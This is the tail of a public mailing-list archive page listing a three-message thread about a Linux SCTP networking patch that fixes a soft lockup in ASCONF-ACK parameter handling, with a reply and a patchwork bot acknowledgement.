^ permalink raw reply	[flat|nested] 3+ messages in thread

end of thread, other threads:[~2026-08-30 21:41 UTC | newest]

Thread overview: 3+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-08-28  4:24 [PATCH net v3] sctp: fix soft lockup from unpadded ASCONF-ACK parameter iteration Henry Martin
2026-08-29 21:47 ` Xin Long
2026-08-30 21:40 ` patchwork-bot+netdevbpf

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox